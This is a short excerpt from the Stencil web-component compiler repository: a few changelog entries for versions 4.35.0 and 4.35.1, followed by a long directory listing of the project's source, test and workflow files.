## 🦄 [4.35.1](https://github.com/stenciljs/core/compare/v4.35.0...v4.35.1) (2025-06-17)
### Bug Fixes
* **mock-doc:** ensure event bubbling follows shadow DOM boundaries ([#6301](https://github.com/stenciljs/core/issues/6301)) ([1304ffc](https://github.com/stenciljs/core/commit/1304ffcbfec3ff981ffabe26f8cda6eedc784c52)), closes [#5676](https://github.com/stenciljs/core/issues/5676)
* **ssr:** expand `::part` css selectors for ssr `scoped` components ([#6298](https://github.com/stenciljs/core/issues/6298)) ([da24af6](https://github.com/stenciljs/core/commit/da24af6f5c5211a26e03a3132bc7281346d8ccee)), closes [#6297](https://github.com/stenciljs/core/issues/6297)
* **ssr:** named slot dom order with `serializeShadowRoot: 'scoped'` components ([#6300](https://github.com/stenciljs/core/issues/6300)) ([96c0f13](https://github.com/stenciljs/core/commit/96c0f13b061ee45ed4596c44dd0e2abd701b6605)), closes [#6299](https://github.com/stenciljs/core/issues/6299)
# 🌝 [4.35.0](https://github.com/stenciljs/core/compare/v4.34.0...v4.35.0) (2025-06-13)
### Bug Fixes
* **ssr:** retain slotted node order in serializeShadowRoot: `scoped` ([#6294](https://github.com/stenciljs/
gitextract_je5y8jxz/
├── .editorconfig
├── .eslintrc.js
├── .gitattributes
├── .github/
│ ├── CODEOWNERS
│ ├── CONTRIBUTING.md
│ ├── FUNDING.yml
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.yml
│ │ ├── config.yml
│ │ └── feature_request.yml
│ ├── ISSUE_TEMPLATE.md
│ ├── PULL_REQUEST_TEMPLATE.md
│ ├── SECURITY.md
│ ├── ionic-issue-bot.yml
│ ├── reproduire/
│ │ └── needs-reproduction.md
│ └── workflows/
│ ├── README.md
│ ├── actions/
│ │ ├── check-git-context/
│ │ │ └── action.yml
│ │ ├── download-archive/
│ │ │ └── action.yml
│ │ ├── get-core-dependencies/
│ │ │ └── action.yml
│ │ └── upload-archive/
│ │ └── action.yml
│ ├── build.yml
│ ├── create-production-pr.yml
│ ├── lint-and-format.yml
│ ├── main.yml
│ ├── publish-npm.yml
│ ├── release-dev.yml
│ ├── release-nightly.yml
│ ├── release-orchestrator.yml
│ ├── release-production.yml
│ ├── reproduire.yml
│ ├── test-analysis.yml
│ ├── test-bundlers.yml
│ ├── test-component-starter.yml
│ ├── test-copytask.yml
│ ├── test-docs-build.yml
│ ├── test-e2e.yml
│ ├── test-types.yml
│ ├── test-unit.yml
│ └── test-wdio.yml
├── .gitignore
├── .npmrc
├── .nvmrc
├── .prettierignore
├── BREAKING_CHANGES.md
├── CHANGELOG.md
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE.md
├── RELEASE.md
├── STYLE_GUIDE.md
├── bin/
│ └── stencil
├── cspell-code.json
├── cspell-markdown.json
├── cspell-wordlist.txt
├── docs/
│ ├── README.md
│ ├── cli.md
│ ├── compiler.md
│ ├── declarations.md
│ ├── dev-server.md
│ ├── hydrate.md
│ ├── mock-doc.md
│ ├── runtime.md
│ ├── screenshot-deprecated.md
│ ├── scripts.md
│ └── testing-deprecated.md
├── jest.config.js
├── package.json
├── readme.md
├── screenshot/
│ ├── compare/
│ │ ├── build/
│ │ │ ├── app.css
│ │ │ ├── app.esm.js
│ │ │ ├── app.js
│ │ │ ├── index.esm.js
│ │ │ ├── p-081b0641.js
│ │ │ ├── p-227a1e18.entry.js
│ │ │ ├── p-2c298727.entry.js
│ │ │ ├── p-5479268c.entry.js
│ │ │ ├── p-573ec8a4.entry.js
│ │ │ ├── p-6ba08604.entry.js
│ │ │ ├── p-6bc63295.entry.js
│ │ │ ├── p-7a3759fd.entry.js
│ │ │ ├── p-7b4e3ba7.js
│ │ │ ├── p-988eb362.css
│ │ │ ├── p-9b6a9315.js
│ │ │ ├── p-b4cc611c.entry.js
│ │ │ ├── p-d1bf53f5.entry.js
│ │ │ ├── p-e2efe0df.js
│ │ │ ├── p-e8ca6d97.entry.js
│ │ │ ├── p-ec2f13e0.entry.js
│ │ │ ├── p-f0b99977.entry.js
│ │ │ ├── p-f4745c2f.entry.js
│ │ │ └── p-fbbae598.js
│ │ ├── host.config.json
│ │ ├── index.html
│ │ └── manifest.json
│ ├── connector.js
│ └── local-connector.js
├── scripts/
│ ├── build.ts
│ ├── esbuild/
│ │ ├── cli.ts
│ │ ├── compiler.ts
│ │ ├── dev-server.ts
│ │ ├── helpers/
│ │ │ ├── empty.js
│ │ │ ├── import-meta-url.js
│ │ │ ├── jest/
│ │ │ │ ├── jest-environment.js
│ │ │ │ ├── jest-preprocessor.js
│ │ │ │ ├── jest-preset.js
│ │ │ │ ├── jest-runner.js
│ │ │ │ └── jest-setuptestframework.js
│ │ │ ├── lazy-require.js
│ │ │ └── path-is-absolute.js
│ │ ├── internal-app-data.ts
│ │ ├── internal-app-globals.ts
│ │ ├── internal-platform-client.ts
│ │ ├── internal-platform-hydrate.ts
│ │ ├── internal-platform-testing.ts
│ │ ├── internal.ts
│ │ ├── mock-doc.ts
│ │ ├── screenshot.ts
│ │ ├── sys-node.ts
│ │ ├── testing.ts
│ │ └── utils/
│ │ ├── alias-plugin.ts
│ │ ├── content-types.ts
│ │ ├── index.ts
│ │ ├── parse5.ts
│ │ ├── terser.ts
│ │ └── typescript-source.ts
│ ├── index.ts
│ ├── release-tasks.ts
│ ├── release.ts
│ ├── test/
│ │ ├── copy-readme.js
│ │ ├── validate-build.ts
│ │ └── validate-testing.js
│ ├── tsconfig.json
│ ├── types/
│ │ └── rollup-plugin-node-resolve.d.ts
│ ├── updateSelectorEngine.ts
│ └── utils/
│ ├── banner.ts
│ ├── bundle-dts.ts
│ ├── constants.ts
│ ├── conventional-changelog-config.js
│ ├── options.ts
│ ├── postcss-bundle
│ ├── postcss-rollup.js
│ ├── release-utils.ts
│ ├── test/
│ │ ├── options.spec.ts
│ │ └── release-utils.spec.ts
│ ├── vermoji.ts
│ └── write-pkg-json.ts
├── src/
│ ├── app-data/
│ │ └── index.ts
│ ├── app-globals/
│ │ └── index.ts
│ ├── cli/
│ │ ├── check-version.ts
│ │ ├── config-flags.ts
│ │ ├── find-config.ts
│ │ ├── index.ts
│ │ ├── ionic-config.ts
│ │ ├── load-compiler.ts
│ │ ├── logs.ts
│ │ ├── parse-flags.ts
│ │ ├── public.ts
│ │ ├── run.ts
│ │ ├── task-build.ts
│ │ ├── task-docs.ts
│ │ ├── task-generate.ts
│ │ ├── task-help.ts
│ │ ├── task-info.ts
│ │ ├── task-prerender.ts
│ │ ├── task-serve.ts
│ │ ├── task-telemetry.ts
│ │ ├── task-test.ts
│ │ ├── task-watch.ts
│ │ ├── telemetry/
│ │ │ ├── helpers.ts
│ │ │ ├── shouldTrack.ts
│ │ │ ├── telemetry.ts
│ │ │ └── test/
│ │ │ ├── helpers.spec.ts
│ │ │ └── telemetry.spec.ts
│ │ └── test/
│ │ ├── ionic-config.spec.ts
│ │ ├── parse-flags.spec.ts
│ │ ├── run.spec.ts
│ │ └── task-generate.spec.ts
│ ├── client/
│ │ ├── client-build.ts
│ │ ├── client-host-ref.ts
│ │ ├── client-load-module.ts
│ │ ├── client-log.ts
│ │ ├── client-patch-browser.ts
│ │ ├── client-style.ts
│ │ ├── client-task-queue.ts
│ │ ├── client-window.ts
│ │ ├── index.ts
│ │ └── polyfills/
│ │ ├── core-js.js
│ │ ├── dom.js
│ │ ├── es5-html-element.js
│ │ ├── index.js
│ │ └── system.js
│ ├── compiler/
│ │ ├── app-core/
│ │ │ ├── app-data.ts
│ │ │ ├── app-es5-disabled.ts
│ │ │ ├── app-polyfills.ts
│ │ │ └── bundle-app-core.ts
│ │ ├── build/
│ │ │ ├── build-ctx.ts
│ │ │ ├── build-finish.ts
│ │ │ ├── build-hmr.ts
│ │ │ ├── build-results.ts
│ │ │ ├── build-stats.ts
│ │ │ ├── build.ts
│ │ │ ├── compiler-ctx.ts
│ │ │ ├── full-build.ts
│ │ │ ├── test/
│ │ │ │ ├── build-stats.spec.ts
│ │ │ │ └── write-export-maps.spec.ts
│ │ │ ├── validate-files.ts
│ │ │ ├── watch-build.ts
│ │ │ ├── write-build.ts
│ │ │ └── write-export-maps.ts
│ │ ├── bundle/
│ │ │ ├── app-data-plugin.ts
│ │ │ ├── bundle-interface.ts
│ │ │ ├── bundle-output.ts
│ │ │ ├── constants.ts
│ │ │ ├── core-resolve-plugin.ts
│ │ │ ├── dev-module.ts
│ │ │ ├── dev-node-module-resolve.ts
│ │ │ ├── entry-alias-ids.ts
│ │ │ ├── ext-format-plugin.ts
│ │ │ ├── ext-transforms-plugin.ts
│ │ │ ├── file-load-plugin.ts
│ │ │ ├── loader-plugin.ts
│ │ │ ├── plugin-helper.ts
│ │ │ ├── server-plugin.ts
│ │ │ ├── test/
│ │ │ │ ├── app-data-plugin.spec.ts
│ │ │ │ ├── core-resolve-plugin.spec.ts
│ │ │ │ └── ext-transforms-plugin.spec.ts
│ │ │ ├── typescript-plugin.ts
│ │ │ ├── user-index-plugin.ts
│ │ │ └── worker-plugin.ts
│ │ ├── cache.ts
│ │ ├── compiler.ts
│ │ ├── config/
│ │ │ ├── config-utils.ts
│ │ │ ├── constants.ts
│ │ │ ├── load-config.ts
│ │ │ ├── outputs/
│ │ │ │ ├── index.ts
│ │ │ │ ├── validate-collection.ts
│ │ │ │ ├── validate-custom-element.ts
│ │ │ │ ├── validate-custom-output.ts
│ │ │ │ ├── validate-dist.ts
│ │ │ │ ├── validate-docs.ts
│ │ │ │ ├── validate-hydrate-script.ts
│ │ │ │ ├── validate-lazy.ts
│ │ │ │ ├── validate-stats.ts
│ │ │ │ └── validate-www.ts
│ │ │ ├── test/
│ │ │ │ ├── fixtures/
│ │ │ │ │ ├── stencil.config.ts
│ │ │ │ │ └── stencil.config2.ts
│ │ │ │ ├── load-config.spec.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ ├── validate-config-sourcemap.spec.ts
│ │ │ │ ├── validate-config.spec.ts
│ │ │ │ ├── validate-copy.spec.ts
│ │ │ │ ├── validate-custom.spec.ts
│ │ │ │ ├── validate-dev-server.spec.ts
│ │ │ │ ├── validate-docs.spec.ts
│ │ │ │ ├── validate-hydrated.spec.ts
│ │ │ │ ├── validate-namespace.spec.ts
│ │ │ │ ├── validate-output-dist-collection.spec.ts
│ │ │ │ ├── validate-output-dist-custom-element.spec.ts
│ │ │ │ ├── validate-output-dist.spec.ts
│ │ │ │ ├── validate-output-www.spec.ts
│ │ │ │ ├── validate-paths.spec.ts
│ │ │ │ ├── validate-rollup-config.spec.ts
│ │ │ │ ├── validate-service-worker.spec.ts
│ │ │ │ ├── validate-stats.spec.ts
│ │ │ │ ├── validate-testing.spec.ts
│ │ │ │ └── validate-workers.spec.ts
│ │ │ ├── transpile-options.ts
│ │ │ ├── validate-config.ts
│ │ │ ├── validate-copy.ts
│ │ │ ├── validate-dev-server.ts
│ │ │ ├── validate-docs.ts
│ │ │ ├── validate-hydrated.ts
│ │ │ ├── validate-namespace.ts
│ │ │ ├── validate-paths.ts
│ │ │ ├── validate-plugins.ts
│ │ │ ├── validate-prerender.ts
│ │ │ ├── validate-rollup-config.ts
│ │ │ ├── validate-service-worker.ts
│ │ │ ├── validate-testing.ts
│ │ │ └── validate-workers.ts
│ │ ├── docs/
│ │ │ ├── cem/
│ │ │ │ └── index.ts
│ │ │ ├── constants.ts
│ │ │ ├── custom/
│ │ │ │ └── index.ts
│ │ │ ├── generate-doc-data.ts
│ │ │ ├── json/
│ │ │ │ └── index.ts
│ │ │ ├── readme/
│ │ │ │ ├── docs-util.ts
│ │ │ │ ├── index.ts
│ │ │ │ ├── markdown-css-props.ts
│ │ │ │ ├── markdown-custom-states.ts
│ │ │ │ ├── markdown-dependencies.ts
│ │ │ │ ├── markdown-events.ts
│ │ │ │ ├── markdown-methods.ts
│ │ │ │ ├── markdown-overview.ts
│ │ │ │ ├── markdown-parts.ts
│ │ │ │ ├── markdown-props.ts
│ │ │ │ ├── markdown-slots.ts
│ │ │ │ ├── markdown-usage.ts
│ │ │ │ └── output-docs.ts
│ │ │ ├── style-docs.ts
│ │ │ ├── test/
│ │ │ │ ├── custom-elements-manifest.spec.ts
│ │ │ │ ├── docs-util.spec.ts
│ │ │ │ ├── generate-doc-data.spec.ts
│ │ │ │ ├── markdown-dependencies.spec.ts
│ │ │ │ ├── markdown-overview.spec.ts
│ │ │ │ ├── markdown-props.spec.ts
│ │ │ │ ├── output-docs.spec.ts
│ │ │ │ ├── style-docs.spec.ts
│ │ │ │ └── tsconfig.json
│ │ │ └── vscode/
│ │ │ └── index.ts
│ │ ├── entries/
│ │ │ ├── component-bundles.ts
│ │ │ ├── component-graph.ts
│ │ │ ├── default-bundles.ts
│ │ │ └── resolve-component-dependencies.ts
│ │ ├── events.ts
│ │ ├── fs-watch/
│ │ │ └── fs-watch-rebuild.ts
│ │ ├── html/
│ │ │ ├── add-script-attr.ts
│ │ │ ├── canonical-link.ts
│ │ │ ├── html-utils.ts
│ │ │ ├── inject-module-preloads.ts
│ │ │ ├── inject-sw-script.ts
│ │ │ ├── inline-esm-import.ts
│ │ │ ├── inline-style-sheets.ts
│ │ │ ├── relocate-meta-charset.ts
│ │ │ ├── remove-unused-styles.ts
│ │ │ ├── test/
│ │ │ │ ├── remove-unused-styles.spec.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ └── update-esm-import-paths.spec.ts
│ │ │ ├── update-global-styles-link.ts
│ │ │ ├── used-components.ts
│ │ │ └── validate-manifest-json.ts
│ │ ├── index.ts
│ │ ├── optimize/
│ │ │ ├── autoprefixer.ts
│ │ │ ├── minify-css.ts
│ │ │ ├── minify-js.ts
│ │ │ ├── optimize-css.ts
│ │ │ ├── optimize-js.ts
│ │ │ └── optimize-module.ts
│ │ ├── output-targets/
│ │ │ ├── copy/
│ │ │ │ ├── assets-copy-tasks.ts
│ │ │ │ ├── hashed-copy.ts
│ │ │ │ ├── local-copy-tasks.ts
│ │ │ │ └── output-copy.ts
│ │ │ ├── dist-collection/
│ │ │ │ └── index.ts
│ │ │ ├── dist-custom-elements/
│ │ │ │ ├── custom-elements-build-conditionals.ts
│ │ │ │ ├── custom-elements-types.ts
│ │ │ │ ├── generate-loader-module.ts
│ │ │ │ ├── index.ts
│ │ │ │ └── test/
│ │ │ │ └── dist-custom-elements.spec.ts
│ │ │ ├── dist-hydrate-script/
│ │ │ │ ├── bundle-hydrate-factory.ts
│ │ │ │ ├── generate-hydrate-app.ts
│ │ │ │ ├── hydrate-build-conditionals.ts
│ │ │ │ ├── hydrate-factory-closure.ts
│ │ │ │ ├── index.ts
│ │ │ │ ├── relocate-hydrate-context.ts
│ │ │ │ ├── test/
│ │ │ │ │ └── dist-hydrate-script.spec.ts
│ │ │ │ ├── update-to-hydrate-components.ts
│ │ │ │ └── write-hydrate-outputs.ts
│ │ │ ├── dist-lazy/
│ │ │ │ ├── generate-cjs.ts
│ │ │ │ ├── generate-esm-browser.ts
│ │ │ │ ├── generate-esm.ts
│ │ │ │ ├── generate-lazy-module.ts
│ │ │ │ ├── generate-system.ts
│ │ │ │ ├── lazy-build-conditionals.ts
│ │ │ │ ├── lazy-bundleid-plugin.ts
│ │ │ │ ├── lazy-component-plugin.ts
│ │ │ │ ├── lazy-output.ts
│ │ │ │ ├── test/
│ │ │ │ │ └── generate-lazy-module.spec.ts
│ │ │ │ └── write-lazy-entry-module.ts
│ │ │ ├── empty-dir.ts
│ │ │ ├── index.ts
│ │ │ ├── output-custom.ts
│ │ │ ├── output-docs.ts
│ │ │ ├── output-lazy-loader.ts
│ │ │ ├── output-service-workers.ts
│ │ │ ├── output-types.ts
│ │ │ ├── output-www.ts
│ │ │ ├── readme.md
│ │ │ └── test/
│ │ │ ├── build-conditionals.spec.ts
│ │ │ ├── custom-elements-types.spec.ts
│ │ │ ├── output-lazy-loader.spec.ts
│ │ │ ├── output-targets-collection.spec.ts
│ │ │ ├── output-targets-dist-custom-elements.spec.ts
│ │ │ ├── output-targets-dist.spec.ts
│ │ │ ├── output-targets-www-dist.spec.ts
│ │ │ ├── output-targets-www.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── plugin/
│ │ │ ├── plugin.ts
│ │ │ └── test/
│ │ │ ├── plugin.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── prerender/
│ │ │ ├── crawl-urls.ts
│ │ │ ├── prerender-config.ts
│ │ │ ├── prerender-hydrate-options.ts
│ │ │ ├── prerender-main.ts
│ │ │ ├── prerender-optimize.ts
│ │ │ ├── prerender-queue.ts
│ │ │ ├── prerender-template-html.ts
│ │ │ ├── prerender-worker-ctx.ts
│ │ │ ├── prerender-worker.ts
│ │ │ ├── prerendered-write-path.ts
│ │ │ ├── robots-txt.ts
│ │ │ ├── sitemap-xml.ts
│ │ │ └── test/
│ │ │ ├── crawl-urls.spec.ts
│ │ │ ├── prerender-optimize.spec.ts
│ │ │ ├── prerendered-write-path.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── public.ts
│ │ ├── service-worker/
│ │ │ ├── generate-sw.ts
│ │ │ ├── service-worker-util.ts
│ │ │ └── test/
│ │ │ ├── service-worker-util.spec.ts
│ │ │ ├── service-worker.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── style/
│ │ │ ├── css-imports.ts
│ │ │ ├── css-parser/
│ │ │ │ ├── css-parse-declarations.ts
│ │ │ │ ├── get-css-selectors.ts
│ │ │ │ ├── parse-css.ts
│ │ │ │ ├── readme.md
│ │ │ │ ├── serialize-css.ts
│ │ │ │ ├── test/
│ │ │ │ │ ├── css-nesting.spec.ts
│ │ │ │ │ ├── escaped-selectors.spec.ts
│ │ │ │ │ ├── get-selectors.spec.ts
│ │ │ │ │ ├── minify-css.spec.ts
│ │ │ │ │ └── parse-serialize.spec.ts
│ │ │ │ └── used-selectors.ts
│ │ │ ├── css-to-esm.ts
│ │ │ ├── global-styles.ts
│ │ │ ├── normalize-styles.ts
│ │ │ ├── optimize-css.ts
│ │ │ ├── scope-css.ts
│ │ │ ├── style-utils.ts
│ │ │ └── test/
│ │ │ ├── build-conditionals.spec.ts
│ │ │ ├── css-imports.spec.ts
│ │ │ ├── css-to-esm.spec.ts
│ │ │ ├── optimize-css.spec.ts
│ │ │ ├── style-rebuild.spec.ts
│ │ │ ├── style.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── sys/
│ │ │ ├── config.ts
│ │ │ ├── environment.ts
│ │ │ ├── fetch/
│ │ │ │ ├── fetch-module-async.ts
│ │ │ │ ├── fetch-module-sync.ts
│ │ │ │ ├── fetch-utils.ts
│ │ │ │ ├── tests/
│ │ │ │ │ └── fetch-module.spec.ts
│ │ │ │ └── write-fetch-success.ts
│ │ │ ├── in-memory-fs.ts
│ │ │ ├── node-require.ts
│ │ │ ├── resolve/
│ │ │ │ ├── resolve-module-async.ts
│ │ │ │ ├── resolve-module-sync.ts
│ │ │ │ ├── resolve-utils.ts
│ │ │ │ └── tests/
│ │ │ │ └── resolve-module.spec.ts
│ │ │ ├── stencil-sys.ts
│ │ │ ├── tests/
│ │ │ │ ├── in-memory-fs.spec.ts
│ │ │ │ └── stencil-sys.spec.ts
│ │ │ ├── typescript/
│ │ │ │ ├── tests/
│ │ │ │ │ ├── typescript-config.spec.ts
│ │ │ │ │ ├── typescript-resolve-module.spec.ts
│ │ │ │ │ └── typescript-sys.spec.ts
│ │ │ │ ├── typescript-config.ts
│ │ │ │ ├── typescript-resolve-module.ts
│ │ │ │ └── typescript-sys.ts
│ │ │ └── worker/
│ │ │ └── sys-worker.ts
│ │ ├── transformers/
│ │ │ ├── add-component-meta-proxy.ts
│ │ │ ├── add-component-meta-static.ts
│ │ │ ├── add-imports.ts
│ │ │ ├── add-static-style.ts
│ │ │ ├── add-tag-transform.ts
│ │ │ ├── automatic-key-insertion/
│ │ │ │ ├── automatic-key-insertion.spec.ts
│ │ │ │ ├── index.ts
│ │ │ │ └── utils.ts
│ │ │ ├── collections/
│ │ │ │ ├── add-external-import.ts
│ │ │ │ ├── parse-collection-components.ts
│ │ │ │ ├── parse-collection-manifest.ts
│ │ │ │ └── parse-collection-module.ts
│ │ │ ├── component-build-conditionals.ts
│ │ │ ├── component-hydrate/
│ │ │ │ ├── hydrate-component.ts
│ │ │ │ ├── hydrate-runtime-cmp-meta.ts
│ │ │ │ └── tranform-to-hydrate-component.ts
│ │ │ ├── component-lazy/
│ │ │ │ ├── attach-internals.ts
│ │ │ │ ├── constants.ts
│ │ │ │ ├── lazy-component.ts
│ │ │ │ ├── lazy-constructor.ts
│ │ │ │ ├── lazy-element-getter.ts
│ │ │ │ └── transform-lazy-component.ts
│ │ │ ├── component-native/
│ │ │ │ ├── add-define-custom-element-function.ts
│ │ │ │ ├── attach-internals.ts
│ │ │ │ ├── native-component.ts
│ │ │ │ ├── native-connected-callback.ts
│ │ │ │ ├── native-constructor.ts
│ │ │ │ ├── native-element-getter.ts
│ │ │ │ ├── native-meta.ts
│ │ │ │ ├── native-static-style.ts
│ │ │ │ ├── proxy-custom-element-function.ts
│ │ │ │ └── tranform-to-native-component.ts
│ │ │ ├── core-runtime-apis.ts
│ │ │ ├── create-event.ts
│ │ │ ├── decorators-to-static/
│ │ │ │ ├── attach-internals.ts
│ │ │ │ ├── component-decorator.ts
│ │ │ │ ├── convert-decorators.ts
│ │ │ │ ├── decorator-utils.ts
│ │ │ │ ├── decorators-constants.ts
│ │ │ │ ├── element-decorator.ts
│ │ │ │ ├── event-decorator.ts
│ │ │ │ ├── import-alias-map.ts
│ │ │ │ ├── listen-decorator.ts
│ │ │ │ ├── method-decorator.ts
│ │ │ │ ├── prop-decorator.ts
│ │ │ │ ├── serialize-decorators.ts
│ │ │ │ ├── state-decorator.ts
│ │ │ │ ├── style-to-static.ts
│ │ │ │ └── watch-decorator.ts
│ │ │ ├── define-custom-element.ts
│ │ │ ├── detect-modern-prop-decls.ts
│ │ │ ├── host-data-transform.ts
│ │ │ ├── map-imports-to-path-aliases.ts
│ │ │ ├── reactive-handler-meta-transform.ts
│ │ │ ├── remove-collection-imports.ts
│ │ │ ├── remove-static-meta-properties.ts
│ │ │ ├── reserved-public-members.ts
│ │ │ ├── rewrite-aliased-paths.ts
│ │ │ ├── static-to-meta/
│ │ │ │ ├── attach-internals.ts
│ │ │ │ ├── call-expression.ts
│ │ │ │ ├── class-extension.ts
│ │ │ │ ├── class-methods.ts
│ │ │ │ ├── component.ts
│ │ │ │ ├── element-ref.ts
│ │ │ │ ├── encapsulation.ts
│ │ │ │ ├── events.ts
│ │ │ │ ├── form-associated.ts
│ │ │ │ ├── import.ts
│ │ │ │ ├── listeners.ts
│ │ │ │ ├── methods.ts
│ │ │ │ ├── parse-static.ts
│ │ │ │ ├── props.ts
│ │ │ │ ├── serializers.ts
│ │ │ │ ├── states.ts
│ │ │ │ ├── string-literal.ts
│ │ │ │ ├── styles.ts
│ │ │ │ ├── vdom.ts
│ │ │ │ ├── visitor.ts
│ │ │ │ └── watchers.ts
│ │ │ ├── stencil-import-path.ts
│ │ │ ├── style-imports.ts
│ │ │ ├── test/
│ │ │ │ ├── add-component-meta-proxy.spec.ts
│ │ │ │ ├── add-static-style.spec.ts
│ │ │ │ ├── add-tag-transform.spec.ts
│ │ │ │ ├── convert-decorators.spec.ts
│ │ │ │ ├── core-runtime-apis.spec.ts
│ │ │ │ ├── decorator-utils.spec.ts
│ │ │ │ ├── detect-modern-prop-decls.spec.ts
│ │ │ │ ├── fixtures/
│ │ │ │ │ ├── dessert.ts
│ │ │ │ │ └── meal-entry.ts
│ │ │ │ ├── functional-component-deps.spec.ts
│ │ │ │ ├── lazy-component.spec.ts
│ │ │ │ ├── map-imports-to-path-aliases.spec.ts
│ │ │ │ ├── native-component.spec.ts
│ │ │ │ ├── parse-attach-internals.spec.ts
│ │ │ │ ├── parse-comments.spec.ts
│ │ │ │ ├── parse-component-tags.spec.ts
│ │ │ │ ├── parse-component.spec.ts
│ │ │ │ ├── parse-deserializers.spec.ts
│ │ │ │ ├── parse-element.spec.ts
│ │ │ │ ├── parse-encapsulation.spec.ts
│ │ │ │ ├── parse-events.spec.ts
│ │ │ │ ├── parse-exportable-mixin.spec.ts
│ │ │ │ ├── parse-form-associated.spec.ts
│ │ │ │ ├── parse-import-path.spec.ts
│ │ │ │ ├── parse-listeners.spec.ts
│ │ │ │ ├── parse-methods.spec.ts
│ │ │ │ ├── parse-mixin.spec.ts
│ │ │ │ ├── parse-props.spec.ts
│ │ │ │ ├── parse-serializers.spec.ts
│ │ │ │ ├── parse-slot-assignment.spec.ts
│ │ │ │ ├── parse-states.spec.ts
│ │ │ │ ├── parse-styles.spec.ts
│ │ │ │ ├── parse-vdom.spec.ts
│ │ │ │ ├── parse-virtual-props.spec.ts
│ │ │ │ ├── parse-watch.spec.ts
│ │ │ │ ├── proxy-custom-element-function.spec.ts
│ │ │ │ ├── rewrite-aliased-paths.spec.ts
│ │ │ │ ├── transform-utils.spec.ts
│ │ │ │ ├── transpile.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ ├── type-library.spec.ts
│ │ │ │ └── utils.ts
│ │ │ ├── transform-utils.ts
│ │ │ ├── type-library.ts
│ │ │ ├── update-component-class.ts
│ │ │ └── update-stencil-core-import.ts
│ │ ├── transpile/
│ │ │ ├── create-build-program.ts
│ │ │ ├── create-watch-program.ts
│ │ │ ├── run-program.ts
│ │ │ ├── test/
│ │ │ │ ├── create-watch-program.spec.ts
│ │ │ │ └── run-program.spec.ts
│ │ │ ├── transpile-module.ts
│ │ │ ├── transpiled-module.ts
│ │ │ ├── ts-config.ts
│ │ │ └── validate-components.ts
│ │ ├── transpile.ts
│ │ ├── types/
│ │ │ ├── constants.ts
│ │ │ ├── generate-app-types.ts
│ │ │ ├── generate-component-types.ts
│ │ │ ├── generate-event-detail-types.ts
│ │ │ ├── generate-event-listener-types.ts
│ │ │ ├── generate-event-types.ts
│ │ │ ├── generate-method-types.ts
│ │ │ ├── generate-prop-types.ts
│ │ │ ├── generate-types.ts
│ │ │ ├── package-json-log-utils.ts
│ │ │ ├── stencil-types.ts
│ │ │ ├── tests/
│ │ │ │ ├── ComponentCompilerEvent.stub.ts
│ │ │ │ ├── ComponentCompilerMeta.stub.ts
│ │ │ │ ├── ComponentCompilerMethod.stub.ts
│ │ │ │ ├── ComponentCompilerProperty.stub.ts
│ │ │ │ ├── ComponentCompilerTypeReference.stub.ts
│ │ │ │ ├── ComponentCompilerVirtualProperty.stub.ts
│ │ │ │ ├── TypesImportData.stub.ts
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── generate-app-types.spec.ts.snap
│ │ │ │ ├── generate-app-types.spec.ts
│ │ │ │ ├── generate-component-types.spec.ts
│ │ │ │ ├── generate-event-detail-types.spec.ts
│ │ │ │ ├── generate-event-listener-types.spec.ts
│ │ │ │ ├── generate-event-types.spec.ts
│ │ │ │ ├── generate-method-types.spec.ts
│ │ │ │ ├── generate-prop-types.spec.ts
│ │ │ │ ├── stencil-types.spec.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ ├── validate-package-json.spec.ts
│ │ │ │ └── validate-primary-package-output-target.spec.ts
│ │ │ ├── types-utils.ts
│ │ │ ├── update-import-refs.ts
│ │ │ ├── validate-build-package-json.ts
│ │ │ └── validate-primary-package-output-target.ts
│ │ └── worker/
│ │ ├── main-thread.ts
│ │ └── worker-thread.ts
│ ├── declarations/
│ │ ├── child_process.ts
│ │ ├── index.ts
│ │ ├── readme.md
│ │ ├── stencil-ext-modules.d.ts
│ │ ├── stencil-private.ts
│ │ ├── stencil-public-compiler.ts
│ │ ├── stencil-public-docs.ts
│ │ └── stencil-public-runtime.ts
│ ├── dev-server/
│ │ ├── client/
│ │ │ ├── app-error.css
│ │ │ ├── app-error.ts
│ │ │ ├── events.ts
│ │ │ ├── hmr-components.ts
│ │ │ ├── hmr-external-styles.ts
│ │ │ ├── hmr-images.ts
│ │ │ ├── hmr-inline-styles.ts
│ │ │ ├── hmr-util.ts
│ │ │ ├── hmr-window.ts
│ │ │ ├── index.ts
│ │ │ ├── logger.ts
│ │ │ ├── progress.ts
│ │ │ ├── status.ts
│ │ │ └── test/
│ │ │ ├── hmr-util.spec.ts
│ │ │ └── status.spec.ts
│ │ ├── content-types-db.json
│ │ ├── dev-server-client/
│ │ │ ├── app-update.ts
│ │ │ ├── client-web-socket.ts
│ │ │ ├── index.ts
│ │ │ ├── init-dev-client.ts
│ │ │ └── test/
│ │ │ └── tsconfig.json
│ │ ├── dev-server-constants.ts
│ │ ├── dev-server-utils.ts
│ │ ├── index.ts
│ │ ├── open-in-browser.ts
│ │ ├── open-in-editor-api.ts
│ │ ├── open-in-editor.ts
│ │ ├── request-handler.ts
│ │ ├── serve-dev-client.ts
│ │ ├── serve-dev-node-module.ts
│ │ ├── serve-directory-index.ts
│ │ ├── serve-file.ts
│ │ ├── server-context.ts
│ │ ├── server-http.ts
│ │ ├── server-process.ts
│ │ ├── server-web-socket.ts
│ │ ├── server-worker-main.ts
│ │ ├── server-worker-thread.js
│ │ ├── ssr-request.ts
│ │ ├── templates/
│ │ │ ├── directory-index.html
│ │ │ └── initial-load.html
│ │ └── test/
│ │ ├── Diagnostic.stub.ts
│ │ ├── dev-server-utils.spec.ts
│ │ ├── req-handler.spec.ts
│ │ ├── server-http.spec.ts
│ │ ├── tsconfig.json
│ │ └── util.spec.ts
│ ├── hydrate/
│ │ ├── platform/
│ │ │ ├── h-async.ts
│ │ │ ├── hydrate-app.ts
│ │ │ ├── index.ts
│ │ │ ├── proxy-host-element.ts
│ │ │ └── test/
│ │ │ ├── __mocks__/
│ │ │ │ └── @app-globals/
│ │ │ │ └── index.ts
│ │ │ └── serialize-shadow-root-opts.spec.ts
│ │ └── runner/
